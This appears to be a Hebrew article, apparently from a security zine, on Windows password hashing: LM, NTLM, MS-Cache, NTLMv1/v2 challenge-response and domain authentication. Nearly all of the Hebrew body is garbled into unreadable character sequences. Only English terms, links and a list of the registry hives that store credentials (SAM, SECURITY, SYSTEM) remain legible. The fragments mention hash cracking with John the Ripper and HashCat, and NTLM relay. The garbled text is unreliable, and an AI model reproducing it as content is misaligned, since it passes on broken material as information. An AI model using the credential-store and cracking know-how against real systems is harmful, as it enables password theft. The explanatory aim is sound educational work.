˧ˮ˲˪ ˪ˣ˪˴ˮ˷ ˢˬ˧ˮ˲ Σ˟ˣ˷˥ ˭˧˟ˮ˷ ˢˬ ˢˤ ˟ˣ˟˧ˠ ˢˬˣ ˢ˧˴˟˧˦ˣˬˢ ˣˮ˪˷ ˷ˣˬ˧˷˟ x˟ Φ˟ˣ˟˧ˠ Σˣ˞ ˸˧˪ˠˮ˞˟: Hash  

˞ˣˢ ˢ˷˰ˬ˪ ˢ˧˴˵ˮˣ˲ ˸˧˦ˬ˸ˬ ˡ˥ ˸˧ˮˣˣ˧˩ ˸˰ˡˣ˧˷ ˪˟˵˪ ˦˪˵ ˪ˡˣˠ˟ ˢˮ˸˷ˬ ˶˧ˤ˥ˢ˪ˣ ˦˪˲ ˪ˡˣˠ˟ ˰ˣ˟˵ Φ

˸ˣ˰ˬ˷ˬ ˧ˣ˦˧˟ˢ ˡ˥ ˸˧ˮˣˣ˧˩ ˞ˣˢ ˠ˧ˮ˟˷ˣl ˢˮ˲˴ˢ˪ Σ˞˪ ˭˸˧ˮ ˯˶˟˶˪ ˸˞ ˟ˣ˟˧ˠˢ ˸˰ˡ˪ˣ ˢˬ ˡˬ˰ ˣ˧˶ˣ˥˞ˬ Φ

˫˞ ˢ˴˶ˮ ˸˰ˡ˪ ˢˬ ˰ˡ˧ˬˢ ˧ˮ˲˪ ˶˟˰˷ ˟ˣ˟˧ˠ ˣˮ˞ ˨˶˦˴ˮ ˸˰ˡ˪ ˬ ˢ˞ˣˢ ˠˣ˯ ˟ˣ˟˧ˠˢ ύ˪˩ˣˮ ˸ˣ˷˰˪ ˸˞ˤ ˪˰ ˧˲ 

˨˶ˣ˞ ˦˪˲ˢ ό˷ˬ˸˷ˢ˪ˣ ˟πBruteForce ˯˯ˣ˟ˬ ˭ˣ˪˧ˬ ˨˩ ˪˩˟˷ ˫˰˲ ˶˧˟˰ˮ ˸˞ ˨˶˰ˢ ˭ˣ˪˧ˬ˟ ˸˞ ˣ˸ˣ˞ 

˟ˣ˟˧ˠˢ ˢˣˣ˷ˮˣ ˫˰ ˨˶˰ˢ ˣ˸ˣ˞ ˣˮ˞ ˫˧˴˶ˣ˲ Φˢˤ ˢˬ ˞˶˵ˮ˷ ˱ˣ˵˸˪ ˸˞ s-Hash Φ 

ˢ˧˴˟˧˦ˣˬˢ ˣˮ˪˷ ˷ˣˬ˧˷˟ ˫˧˟ˣ˟˧ˠ˟ ˞˧ˢ ˭˧˟ ˶˸˧ˢ ˭ˣ˯˥˞ ˪˷ ˰ˡ˧ˬ ˷˧ˠ˶ Φ˪˩ ˰ˡ˧ˬ ˷˧ˠ˶ ˭˯˥ˣ˞ˬ˷ ˣˮ˧˪˰ 

˶ˬ˷ˮ ˭˲ˣ˞˟ ˟˟ˣˠˬ ˢ˩˩ ˫˞˷ ˱˵ˣ˸ ˪˟˵˧ ˢ˶˵ˬ˟ ˢ˷˧ˠ ˫ˣ˵ˬ˪ ˭ˣ˯˥˞ˢ ˞ˣˢ ˞˪ ˪˩ˣ˧ ˸ˣ˷˰˪ ˶˟ˡ ˫˰ 

˰ˡ˧ˬˢ Φ˨˶ˣ˴˪ ˭˧˧ˮ˰ˢ Σˣˮ˞˷˩ ˫˧˶˟˥˸ˬ ˵ˣ˟˯˧˧˲˪ ˫˧˰˟ˣ˵ˣ ˸˞ ˣˮ˸ˬ˯˧˯ ˞˧ˢ ˸˶˟ˣ˰ ˠˣ˯ ˪˷ ˟ˣ˟˧ˠ ˸˶ˬ˷ˮˣ 

ˡ˯ˬ˟ ˫˧ˮˣ˸ˮ ˵ˮ˰ Φ˪˩˟ ˫˰˲ ˣˮ˞˷ ˫˧˶˟˥˸ˬ ˫˧˷˧˵ˬˣ ˸˞ ˣˮ˸ˬ˯˧˯ ˸˧˶ˣ˵ˬˢ Σ˞˧ˢ ˸˶˟ˣ˰ ˸˞ ˣ˸ˣ˞ ˠˣ˯ 

˟ˣ˟˧ˠˢ ˨˶˰ˢˣ ˟˟ˣˠˬˢ ˢˣˣ˷ˣˬ ˫˰ ˨˶˰ˢ ˡ˯ˬ˟˷ ˨˩ˣ ˣˮ˞ ˫˧˸ˬˣ˞ˬ Φ 

˨˩ Σˢˡ˧ˬ˟ ˷˧ˣ ˣˢ˷ˤ˧˞ ƭŜŀƪ ˡ˥˞˪ ˫˧˸˶˷ˢ x˞ ˫˧ˡ˯ˬˢ ˞˪ ˭˸˧ˮ ˶˟˥˸ˢ˪ ˸ˣ˶˧˷˧ ˫˰ sπHashπ˫˧ ˧ˡ˩˟ˣ 

ˢ˧ˢ˧˷ ˫˰˦ ˢ˲˵˸ˬ˪ ˳˪˞ˮ ˳ˣ˶˲˪ ˫˸ˣ˞ Φ˸˴˧˶˲ sπHashπ˫˧ ˢˮˮ˧˞ ˨˧˪ˢ˸ ˟˩˶ˣˬ ˧ˡˬ˪ ˨˞ ˞ˣˢ ˪ˣ˪˰ ˸˥˵˪ 

˭ˣˬˢ ˭ˬˤ Φˢˤ ˪˩ ˭˧˧ˮ˰ ˪˷ ˭ˣ˪˧ˬ sπBruteForce x˟ ˷ˬ˸˷ˮ ˫˞ˣ ˢ˧ˢ˧ ˣˮ˪ ˵˧˲˯ˬ ˪ˤˬ x˞ ΦΦΦ˶˯ˣ˥ ˪ˤˬΦ 

 

  Υ ϐtables-algorithms/hash-structures-https://khalilstemmler.com/blogs/dataώ 

 

https://khalilstemmler.com/blogs/data-structures-algorithms/hash-tables%5d
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ˢˤ˧˞˟ ˫˧˟ˣ˟˧ˠ ˸˷ˬ˸˷ˬ MicrosoftΚ 

˶˥˞˪ ˧˸˶˟˯ˢ˷ ˫ˢˬ ˪˪˩˟ ˫˧˟ˣ˟˧ˠ ˰ˣˡˬˣ ˫˧˷ˬ˸˷ˬ ˫ˢ˟ Σ˶˧˟˯˞ ˣ˪˧˞˟ ˸ˣ˦˧˷ ˟ˣ˟˧ˠ ˸˷ˬ˸˷ˬ 

Microsoft ˨˶ˣ˴˪ ˢ˶˧ˬ˷ ˪˷ ˧˦˶˲ ˸ˣˢˡˤˢˢ ˭˲ˣ˞˟ ˧˦˦˯ ˭˩˧ˢˣ ˫˧˦˶˲ˢ ˣ˪˪ˢ ˫˧˶ˬ˷ˮ Φ˪˧˥˸˞ ˶˧˟˯ˢ˪˟ 

˪˰ ˸ˣ˦˧˷ˢ ˸ˣ˷ˬˣ˷ˬˢ ˸ˣˬ˧˞˟ ˧ˬˣ˵ˬ ύ˟˷˥ˬ ˡ˧˥˧ ό˶˥˞˪ˣ ˭˩ˬ ˰ˠ˞ ˢ˶˴˵˟ ˪˰ ˸ˣˬ˧˞ ˸˟˧˟˯˟ DomainΦ 

 

˸ˣˬ˧˞ ˧ˬˣ˵ˬ 

LM π x˞ LAN Manager ˞˧ˢ ˸˦˧˷ ˟ˣ˟˧ˠ ˢˮ˷˧ ˶˸ˣ˧ ˸ˣ˥˲ˣ ˸˧˦ˮˣˣ˪˶ ˫ˣ˧˩ ˨˞ ˶˧˟˯˞ ˢ˶˴˵˟ ˡ˴˧˩ ˞˧ˢ 

˸ˡ˟ˣ˰ Φˢ˦˧˷ˢ ˸˥˵ˣ˪ ˸˞ ˞ˬ˯˧˯ˢ ˸˪˴˲ˬˣ ˢ˸ˣ˞ ˧ˮ˷˪ ˫˧˵˪˥ ˪˷ ˢ˰˟˷ ˫˧ˣˣ˸ Φ˞˧ˢ ˸˥˵ˣ˪ ˪˩ ˡ˥˞ ˭ˬ 

˫˧˵˪˥ˢ ˢ˶˧˟˰ˬˣ ˢ˸ˣ˞ ˸˧˧˴˵ˮˣ˲˟ ˢˮ˲˴ˢ ˫˷˟πDES ˸˥˸ ˥˸˲ˬ ˢˮ˲˴ˢˢ ˰ˣ˟˵ˢ ˞˟ˢΗϪІϷ҈ ΥK Φ˶˥˞˪ 

˭˩ˬ Σ˫˧˥˵ˣ˪ ˸˞ ˧ˮ˷ ˫˧˵˪˥ˢ ˫˧ˮ˲˴ˣˬˢ ˫˧˶˟˥ˬˣ ˫˸ˣ˞ ˡ˥˧ ˧ˡ˩˪ ˥˸˲ˬ ˭˲˴ˣˬ Φ 

˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ Σ˶˟ˣˡˬ ˢ˦˧˷˟ ˢ˷˪˥ ˡˣ˞ˬ Σˡˣ˥˧˧˟ ˶˵˧˰˟ ˪˪ˠ˟ ˷ˣˬ˧˷ˢ ˥˸˲ˬ˟ ˢˮ˲˴ˢ ˫˯˶ˣ˲ˬ 

˰ˣ˟˵ˣΦ 

NTLM π x˞ New Technology LAN Manager ˞˧ˢ ˢ˯˶ˠˢ ˢ˷ˡ˥ˢ ˸ˣ˧ ˪˶πLM ˧˸ˠ˴ˢ˷ ˫ˡˣ˵ˬ ˞˧ˢˣ ˠˣ˯ 

˸˵˧ˮ˩˦ ˟ˣ˟˧ˠ ˢ˦ˣ˷˲ ˸˷ˬ˸˷ˬˢ ˸˧˧˴˵ˮˣ˲˟ ˟ˣ˟˧ˠˢ MD4 Φ˸˧˧˴˵ˮˣ˲ ˟ˣ˟˧ˠˢ ˸˞ˤˢ ˸˪˟˵ˬ ˦˪˵ ˪ˡˣˠ˟ 

ˣˮˮ˧˞˷ ˰ˣ˟˵ ˢ˶˧ˤ˥ˬˣ ˦˪˲ ˪ˡˣˠ˟ ˪˷ он ˧ˣˣ˸ UNICODE Φ˧˲˩ ˧˸˶˟˯ˢ˷ Σ˲x˸ˣ˧˴˵ˮ Hash ˭ˮ˧˞ ˸ˣ˪˟ˠˣˬ 

˨˶ˣ˞˟ ˦˪˵ˢ Σ˨˞ ˭˧˧ˡ˰ ˸ˬ˧˧˵ ˫ˣ˧˩ ˢ˪˟ˠˬ ˨˶ˣ˞˪ ˞ˬ˯˧˯ ˪˷˟ ˳ˣ˪˧˞ ˢ˰˟˵˷Windows  ˞ˣˢˣ ˢ˞ˬ ˫˧˶˷˰ 

ˢ˰˟˷ˣ ˫˧ˣˣ˸ Φ˞ˬ˯˧˯ˢ ˸˟˩˶ˣˬ ˧ˣˣ˸ˬ Unicode ˧ˢˣˤˣ ˢ˟˧˯ˢ ˣ˪˩ˣ˸˷ ˰ˣ˟˵˪ ˢˬ˯˧˯ ˸˧˶˟˰˟ Φ 

ˢˡ˧ˬ˟ ˣˮˬ˷ˣ ˸˞ ˣˮ˧ˡ˧ ˪˰ NTLM Hash ˪˷ ˞ˬ˯˧˯ Σ˪˩ ˨˶˦˴ˮ˷ ˸ˣ˷˰˪ ˢˤ ˱ˣ˵˸˪ ˸˞ ˟ˣ˟˧ˠˢ ˸ˣ˰˴ˬ˞˟ 

BruteForce ˯˯ˣ˟ˬ ˭ˣ˪˧ˬ ˨ˣ˸ ˷ˣˬ˧˷ ˧˪˩˟ ˣˬ˩ JohnTheRipper x˞HashCat  Φ˨˩ ˪˩ˣˮ ˠ˧˷ˢ˪ ˸˞ ˞ˬ˯˧˯ˢ 

˪˟˵˪ˣ ˢ˷˧ˠ ˷ˬ˸˷ˬ˪ ˷ˡ˥ˢ Φ 

˨˷ˬˢ˟ ˠ˧˴˞ ˨˶ˡ ˸ˮ˧˧ˮ˰ˬ ˡ˥ˣ˧ˬ˟ ˸˶˷˲˞ˬ˷ ˪˟˵˪ ˢ˷˧ˠ ˷ˬ˸˷ˬ˪ ˞˪˪ ˨˶ˣ˴ ˸˴˧˶˲˟ ˟ˣ˟˧ˠˢ ˨˞ ˧ˮ˲˪ 

˰˧ˠˮ˷ ˫˷˪ ˷˧ ˡˣ˰ ˢˬ˩ ˫˧˶˟ˡ ˫˧ˮ˧˧ˮ˰ˬ ˡˣˬ˪˪ J Φ 

ˢ˪˞˷ ˢ˟˷˥ˬ˪Υ ˨˷ˬˢ˟ ˢˬ˪ ˧˸˶˟˯ˢ˷ ˪˰ ˸˲˧˵˸ ˟ˣ˟˧ˠˢ Σˣ˟˷˥ ˰ˣˡˬ ˞ˬ˯˧˯ ˞˵ˣˣˡ ˸˧˶˟˰˟ ˢ˪ˣ˩˧ 

˸ˣˣˢ˪ ˢ˧˰˟ ˱˵ˣ˸˪ Φˤˬ˶ Υ˭ˣ˪˧ˬΦ 
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˫˧˷˶˸ ˢˬ˧˶ˤ ˶˞˸ˬ˷ ˸˞ ˨˧˪ˢ˸ ˟ˣ˟˧ˠˢ LMΥ 

 
 Υ ϐ704x1024.jpg-https://blog.redforce.io/storage/2020/04/lmhashώ 

  

https://blog.redforce.io/storage/2020/04/lmhash-704x1024.jpg
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˸ˣˬ˧˞ ˸˟˧˟˯˟ Domain 

˸˧˷˞˶ Σ˭˧˟ˮ ˢˬ ˞˧ˢ ˸˟˧˟˯ Domain  ˪˷Microsoft Φ˸˟˧˟˯ Domain  ˪˷Microsoft x˞ ˢˬ˷˟ ˧ˮ˷ˢ Υ

Active Directory ˞˧ˢ ˠˣ˯ ˪˷ ˢ˟˧˟˯ ˪ˣˢ˧ˮ˪ ˸ˣ˸˷˶ ˸ˣ˧ˮˣˠ˶˞ ˸ˣ˪ˣˡˠ ˸ˣ˧ˮˣˮ˧˟ˣ ˸ˣ˪˰˟ ˶˲˯ˬ ˸ˣˡˬ˰ ˢ˴˵ Φ

ˢ˟˧˟˯ˢ ˸˵˲˯ˬ ˸ˣ˥ˣˮ ˭ˣˠ˶˞˪ ˨˩˟ ˸˶˷˲˞ˬ˷ ˭˧˟ ˶˸˧ˢ ˸ˣ˪ˣ˩˧ ˱ˣ˸˧˷ ˢ˧˩˶˶˧ˢˣ ˭˧˟ ˪˩ ˸ˣˡˬ˰ ˢ˴˵ˢ 

˭ˣˠ˶˞˟ Φ˨˶ˣ˴˪ ˭˧˧ˮ˰ˢ Σ˫˞ ˪ˢˮˬ ˭ˣˠ˶˞ˢ ˢ˴˶˧ ˫ˣ˯˥˪ ˸˞ ˣ˧ˡ˟ˣ˰ ˢ˷˧˪ˠˬ ˶˸˞˪ ˫˧ˣ˯ˬ Σ˞ˣˢ ˪˩ˣ˧ ˸ˣ˷˰˪ ˸˞ˤ 

˸ˣ˦˷˲˟ ˸ˣ˪˵˟ˣ ˫ˣ˷ˬ ˣ˸ˣ˷˶˟˷ ˸ˡˬ˰ ˢ˴˵ ˢˢˣ˟ˠ ˶˸ˣ˧ ˢ˧˩˶˶˧ˢ˟ Φ 

˸˟˧˟˯˟ Domain ˣˮ˷˧ ˸˶˷ ˧ˤ˩˶ˬ ˧˞˶˥˞ˢ ˪˰ ˪ˣˢ˧ˮ ˸˷˶ˢ ˣˬ˷˷Domain Controller  ˧˞˶˥˞˷ ˪˰ ˸ˣˬ˧˞ 

˧˶˧˷˩ˬ ˢ˴˵ˢ Φ˪ˣ˵ˣ˦ˣ˶˲ˢ ˣ˸ˣ˰˴ˬ˞˟ ˰˴˟˸ˬ ˸ˣˬ˧˞ˢ ˭˧˟ ˸ˡˬ˰ ˢ˴˵ˢ ˭˧˟˪ sπDomain Controller ˞˶˵ˮ 

Kerberos Φ˧˲˩ ˧˸˶˟˯ˢ˷ ˸˪˧˥˸˟ ˶ˬ˞ˬˢ Σˣˮ˞ ˵ˣ˯˰ˮ ˸ˣ˲˵˸ˬ˟ ˸ˣ˯˯ˣ˟ˬ ˭ˣ˶˩˧ˤ ˪˰ ˸ˮˬ ˱ˣ˪˷˪ ˸˞ sπ

Credentials ˞˪ˣ ˸ˣ˲˵˸ˬ˟ ˸ˣ˯˯ˣ˟ˬ ˸˷˶ ˤ˞ ˰ˣˡˬ ˵ˣ˦ˣ˶˲ˢ˷ˣ˪ ˭˧˧ˮ˰˧ ˣˮ˸ˣ˞Κ 

˭˩˟ˣ Σˣ˟˷˥ ˢˬ ˢ˶ˣ˵ ˟˴ˬ˟ ˷˧˷ ˢ˪˵˸ ˸˷˶˟ ˧˸˶˷ˣ sπDomain Controller ˫ˮ˧˞ ˫˧ˮ˧ˬˤ ˫˧˪ˣ˩˧ˣ ˸˸˪ 

ˢˮ˰ˬ ˸˷˵˟˪ ˸ˣˢˡˤˢˢ Κ˧˲˩ ˫˸˞˷ ˧˞ˡˣ ˫˧˷˥ˮˬ ˣˮ˞ ˞˪ ˢ˩˥ˮ ˡ˰ ˫˧˸˶˷ˢ˷ ˣ˶ˤ˥˧ ˡˣ˟˰˪ x˞ ˡ˰ 

˱ˣ˪˥˸˷ ˢ˪˵˸ˢ ˫ˣ˷ˬ ˶˟ˡˢ˷ ˪ˣ˪˰ ˸˥˵˪ ˭ˣˬˢ ˭ˬˤ ˨˩˟ˣ ˰ˣˮˬ˪ ˣˮ˸˞ˬ ˢ˷˧ˠ ˷ˬ˸˷ˬ˪Φ 

Microsoft ˢ˶˥˟ ˭ˣ˶˸˲˟ ˧˯˞˪˵ ˧ˡˬ˪ Σ˞ˣˢˣ ˭ˣˬ˦ˬ Φˢ˷˰ˬ˪ ˪˰ ˸ˡˬ˰ ˢ˴˵ˢ ˶ˬ˷ˮ ˭ˣˬ˦ˬ ˶˷˞˩ˣ ˫˧˸˶˷ˢ 

˫ˮ˧˞ ˫˧ˮ˧ˬˤ ˸ˡˬ˰ ˢ˴˵ˢ ˠ˞ˡ˸ ˸ˬ˞˪ ˸˞ ˷ˬ˸˷ˬˢ ˢˣˣˢ˸ˣ sπDomain Controller ˭˲ˣ˞˟ ˧ˮˬˤ Φˣ˸ˣ˞ 

˭ˣˬ˦ˬ ˶ˬ˷ˮ ˭ˣ˶˩˧ˤ˟ ˪˰ˣ ˭˩ ˞ˣˢ ˧˟˧˦˵˶˦˞ ˡ˥ˣ˧ˬ˟ ˣˮ˪˧˟˷˟ Ηˣ˸ˣ˞ ˭ˣˬ˦ˬ ˞˶˵ˮ MS-Cache Σ˸˰˩ˣ ˶˧˟˯˞ ˪˰ 

ˣ˸ˣ˞ ˭ˣˬ˦ˬˢΦ 

MS-Cache 

˸˦˧˷ ˟ˣ˟˧ˠˢ ˞˧ˢ ˢ˟˥˶ˢ  ˪˷NTLM ˞˧ˢˣ ˢ˷˰ˬ˪ ˸˥˵ˣ˪ ˸˞ ˸ˤˣ˶˥ˬ ˞ˬ˯˧˯ˢ ˢ˶˧˟˰ˬˣ ˢ˸ˣ˞ Σˢˬˣˡ˟ ˪π

NTLM ˸˧˧˴˵ˮˣ˲˟ ˟ˣ˟˧ˠˢ MD4 Φ˶˥˞˪ ˭˩ˬ ˱˶ˣ˴ˬ ˪˞ ˞ˬ˯˧˯ˢ ˸˟˟ˣˠˬˢ sπǳǎŜǊƴŀƳŜ ˢˬ˞˸ˢ˟ Φ˸˞ 

ˢ˸ˣ˞ ˸ˤˣ˶˥ˬˢ ˢ˶˴ˣˮ˷ ˫˧˶˧˟˰ˬ ˫˰˲ ˸˲˯ˣˮ ˸˧˧˴˵ˮˣ˲˟ ˟ˣ˟˧ˠˢ MD4 ˫˧˪˟˵ˬˣ ˦˪˲ ˪˷ он ˧ˣˣ˸ 

UNICODE ˶ˬ˷ˮ˷ ˭ˣˬ˦ˬ˩Φ 

˪˩˪ ˫˧ˮ˶˵˯ˢ ˧˟ˠ˪ ˪ˣ˵ˣ˦ˣ˶˲ Kerberos Σ˳˧˪ˬ˞ ˡˣ˞ˬ ˪˰ ˶ˬ˞ˬˢ ˞˟ˢΥ 

https://www.digitalwhisper.co.il/files/Zines/0x02/DW2-6-Kerberos-v5.pdf 

  

https://www.digitalwhisper.co.il/files/Zines/0x02/DW2-6-Kerberos-v5.pdf
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˸ˣˬ˧˞ ˧˸˷˶Υ 

NTLMv2 

˶˷˞˩ ˣˮ˞ ˫˧˴ˣ˶ ˰˴˟˪ ˸ˣ˪ˣ˰˲ ˸ˣˬ˧ˣ˯ˬ ˟˷˥ˬ˟ ˵˥ˣ˶ˬ Σ˷˧ ˣˮ˪ ˸˞ ˢ˧˴˲ˣ˞ˢ ˸ˬ˞˸ˢ˪ ˭˲ˣ˞˟ ˣˮˮ˧˞˷ 

˧˟˧˦˵˞˶˦ˮ˧˞ ˷˧˵ˢ˪ˣ ˸˞ ˧˦˶˲ ˸ˣˢˡˤˢˢ ˪˰ ˣˮ˟˷˥ˬ ˧˷˧˞ˢ ˨˩ ˥˶ˣ˞˟˷ ˞˪˲ ˣ˰˧ˠ˧ ˪˞ ˟˷˥ˬ ˡ˰˧ˢ x˟ 

ˢ˴˶ˮ ˰˴˟˪ ˸˞ ˢ˪ˣ˰˲ˢ Φ 

˶˟ˡˢ ˶˷˲˞ˬ ˣˮ˪ ˭ˣˬˢ ˫˧˶˟ˡ ˫˧˧˷ˣˬ˧˷ ˣˬ˩ ˢ˷˧ˠ ˪πRegistryΣ ˷ˣˬ˧˷ ˟πRPCΣ ˢ˯˧ˮ˩ ˪Databases- ˡˣ˰ˣ Φ

˶˥˞ˬ ˸ˣˬ˧˞ˣ ˶˟˰ˬ ˸˷˶˪ ˪˪ˣ˩ ˧ˮˣ˩˧˯ ˢ˥˦˟˞ ˫˧˟˶ Σ˧˲˩ ˫˸˞˷ ˧˞ˡˣˣ ˫˧˶˞˸ˬ ˫˩ˬ˴˰˪ ˟ˣ˟˧ˠ ˞ˬ˯˧˯ˢ 

˞˪ ˶˟ˣ˰ ˸ˣ˶˧˷˧ ˸˷˶˟ ˫ˣ˷ˬ ˤ˞˷ ˣˮ˞ ˫˧˲ˣ˷˥ ˸ˣ˲˵˸ˬ˪ ˸˷˶ ˸ˬˠˣˡ˩ ˢ˲ˮ˯ˢ Φ˱˵ˣ˸ˢ ˪ˣ˩˧ ˢ˧ˢ ˱˧ˮ˯ˢ˪ 

˸˞ ˸˶ˣ˟˰˸ ˸ˣ˶˟˥˸ˢˢ Σ˟ˣˮˠ˪ ˸˞ ˟ˣ˟˧ˠ ˞ˬ˯˧˯ˢ Σ˳ˣ˶˲˪ ˸˞ ˟ˣ˟˧ˠˢ ˢ˪ˣ˧˯ˮ˩ ˢˬ˧ˮ˲ Η˪˰ˣ ˭˩ ˣˢˤ ˪ˣ˵ˣ˦ˣ˶˲ 

˨˟ˣ˯ˬ ˶˸ˣ˧ ˶˷˞ˬ ˟ˣ˟˧ˠ ˟π.MD4 

˪ˣ˵ˣ˦ˣ˶˲ˢ ˧ˮˣ˷˞˶ˢ x˟ ˣ˷ˬ˸˷ˢ ˧ˡ˩˟ ˰˴˟˪ ˸˞ ˸ˣˬ˧˞ˢ NTLMv1 Φ˪ˣ˵ˣ˦ˣ˶˲ˢ ˞ˣˢ ˠˣ˯ˬ ˞˶˵ˮ˷ 

ϦChallenge Response ΦϦˣˢˤ ˪ˣ˵ˣ˦ˣ˶˲ ˢ˟ ˸ˣ˷˧ ˸˥˞ ˢ˥˧˩ˣˬ ˸˞ ˢ˸ˣˢˤ ˸ˣ˷˧˪ ˸˶˥˞ ˧˪˟ˬ ˱ˣ˷˥˪ ˸˞ 

˧˦˶˲ ˸ˣˢˡˤˢˢ ˭˲ˣ˞˟ ˶˧˷˧ Φ-sChallenge ˞˧ˢ ˢ˷ˣˤ˧˞ ˧Ϧˢˡ˧˥ Ϧˢ˸˟ˣ˷˸˷ ˞˧ˢ ˸˶ˤˠˮ ˪˷ ˧˦˶˲ ˸ˣˢˡˤˢˢ 

ˢˮ˰ˬˢˣ ˢ˧˪˰ ˡ˧˰ˬ ˪˰ ˨˩ ˸ˣ˷˧˪˷ ˸˷˵˟ˬ˷ ˶˟˥˸ˢ˪ ˭˩˞ ˷˧ ˸˞ ˧˦˶˲ ˸ˣˢˡˤˢˢ Φ 

˶˥˞˪ ˣˮ˟ˢ˷ ˣˢˬ ˪ˣ˵ˣ˦ˣ˶˲ ˶ˠ˸˞ ˢˮ˰ˬ Σ˶ˣ˵˯ˮ ˸˞ ˧˟˪˷ ˸ˣˬ˧˞ˢ ˪ˣ˵ˣ˦ˣ˶˲˟ NTLMv1 ˥ˣ˵˪ˢ ˶˟˯ˢ˟ 

ˢ˧ˢ˧ ˷˵˟ˬ ˸ˣ˶˧˷ˢ ˣ˪˧˞ˣ ˸˶˷ˢ ˢ˧ˢ˧ ˢˤ ˸ˬ˞ˬ˷ ˸˞ ˥ˣ˵˪ˢΥ 

мΦ ˥ˣ˵˪ˢ ˥˪ˣ˷ ˸˶˷˪ ˢ˷˵˟ ˸ˬ˞˸ˢ˪ ˶˟˥˸ˢ˪ˣ 

нΦ ˢ˟ˣˠ˸˟ ˸˶˷ˢ ˥˪ˣ˷ ˥ˣ˵˪˪ ˶ˠ˸˞ Φ˶ˠ˸˞ˢ ˞ˣˢ ˸ˤˣ˶˥ˬ ˫˧˪˧ˬ ˸˧˪ˬˣˡˮ˶ ˸˶˷ˢ˷ ˷˵˟ˬ ˥ˣ˵˪ˢˬ 

˭˧˲˴ˢ˪Φ 

оΦ ˥ˣ˵˪ˢ ˥˵ˣ˪ ˸˞ ˸ˤˣ˶˥ˬ ˫˧˪˧ˬˢ ˭˧˲˴ˬˣ ˢ˸ˣ˞ ˸ˣ˰˴ˬ˞ ˟ˣ˟˧ˠˢ ˣ˪˷ Φ˶˥˞˪ ˭˩ˬ ˥ˣ˵˪ˢ ˥˪ˣ˷ ˸˞ ˢ˸ˣ˞ 

˸ˤˣ˶˥ˬˢ ˢ˪˟˵˸ˢ˷ ˭ˬ ˢˮ˲˴ˢˢ ˡ˥˧˟ ˫˰ ˫˷ ˷ˬ˸˷ˬˢ ˪˷ ˸ˬ˞˸ˬˢΦ 

пΦ ˸˶˷ˢ ˰˴˟ˬ ˢ˵˧˶˯ ˳˟ˣ˵˟ sπSAM ˧ˡ˩˟ ˸ˣ˞˶˪ ˫˞ˢ ˫˧˧˵ ˣ˪˴˞ ˣ˸ˣ˞ ˷ˬ˸˷ˬˢ ˣ˸ˣ˞˪ ˪ˣ˵ˣ˦ˣ˶˲ˢΦ 

рΦ ˸˶˷ˢ ˷ˬ˸˷ˬ ˟ˣ˟˧ˠ˟ ˞˴ˬ˷ ˣ˸ˣ˞˪ ˷ˬ˸˷ˬˢ ˪˰ ˸ˮˬ ˭˧˲˴ˢ˪ ˸˞ ˸ˤˣ˶˥ˬˢ ˸˧˪ˬˣˡˮ˶ˢ ˥˪˷˷ 

˟˪˷˟ н ˵ˡˣ˟ˣ ˫˞ˢ ˢ˞˴ˣ˸ˢ ˢˬ˧˞˸ˬ ˷ˬ˪ ˥˪˷˷ ˥ˣ˵˪ˢ ˟˪˷˟ оΦ 

˪ˣ˵ˣ˦ˣ˶˲ˢ ˷ˡ˥ˢ ˶˸ˣ˧ NTLMv2 ˡˣ˞ˬ ˢˬˣˡ ˵ˣ˦ˣ˶˲˪ˣ˪ ˧˸ˠ˴ˢ˷ ˸˰˩ Σ˨˞ ˭ˮ˷˧ ˧˸˷ ˸ˣ˧ˣˠ˧˧˸˯ˢΥ 

мΦ ˶ˠ˸˞ˢ ˥˪˷ˮ˷ ˰Ϧ˧ ˸˶˷ˢ ˞ˣˢ ˪˰˟ ˪ˡˣˠ ˢˮ˸˷ˬ ˭˩˪ˣ ˣ˩˶ˣ˞ ˞ˣˢ ˵˪˥ ˱˯ˣˮ ˭ˬ ˶ˠ˸˞ˢΦ 

нΦ ˡ˥˧ ˫˰ ˫˷ ˷ˬ˸˷ˬˢ ˥˪˷ˮ˷ ˟˪˷˟ о ˥˪˷ˮ ˫ˠTimeStamp  ˡ˰ˣˮ˷ ˰ˣˮˬ˪ ˸ˣ˲˵˸ˬ ˠˣ˯ˬ NTLM 

relay Φˢ˞˧˶˵˪ ˸˲˯ˣˮ ˪˰ ˢ˲˵˸ˬˢ ˳˧˪ˬ˞ ˡˣ˞ˬ ˪˰ s˶ˬ˞ˬ ˪˷ ˢˮ˧˶ˬ ˟ˣ˵ˬ˧˯ ˭ˣ˶˧ˣ ˶ˮ˧ˤΗ 

https://www.digitalwhisper.co.il/files/Zines/0x6D/DW109-1-reNTLMRelay.pdf
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ˢˮˢ ˫˧˷˶˸ ˶ˡˢˮ ˠ˧˴ˬ˷ ˸˞ ˫˧˟˪˷ˢ ˢ˶ˣ˴˟ ˸˧˸ˬ˩˯Υ 

 
Υ ϐ WindowsNTLMAuthenticationScheme/NTLM_process.png-10-09-https://csandker.io/public/img/2017ώ 

 

˭˩˧ˢ ˸ˣ˶ˣˬ˷ ˸ˣ˞ˬ˯˧˯ˢ ˸ˣ˟˟ˣˠˬˢΚ 

˶˥˞˪ ˣˮ˟ˢ˷ ˫ˢˬ ˫˧˟ˣ˟˧ˠˢ ˫˧˪ˣ˵ˣ˦ˣ˶˲ˢˣ ˫ˢ˟ ˫˧˷ˣ˰ ˷ˣˬ˧˷ Σ˭˧˟ˮ ˡ˴˧˩ ˫˸ˣ˞ ˫˧˟ˣ˟˧ˠˢ ˫˧˶ˬ˷ˮ ˭˲ˣ˞˟ 

˧˦˦˯ ˥ˣˣ˦˪ ˨ˣ˶˞ˢ Φ˫˸ˣ˞ ˫˧˟ˣ˟˧ˠ ˪˷ ˸ˣ˞ˬ˯˧˯ ˫˧˶ˣˬ˷ ˟πRegistry  ˪˷Windows Φ˧˩˶˰ sπRegistry 

˫˧˞˟ˢ ˫˧˶ˣˬ˷ ˫˧˴˟˵˟ ˫˧˞˟ˢ ˸˥˸ s˟˧˸ˮ Υ%SystemRoot%\ System32\ ConfigΥ 

¶ Sam - HKEY_LOCAL_MACHINE\SAM 

¶ Security - HKEY_LOCAL_MACHINE\SECURITY 

¶ Software - HKEY_LOCAL_MACHINE\SOFTWARE 

¶ System - HKEY_LOCAL_MACHINE\SYSTEM 

¶ Default - HKEY_USERS\.DEFAULT 

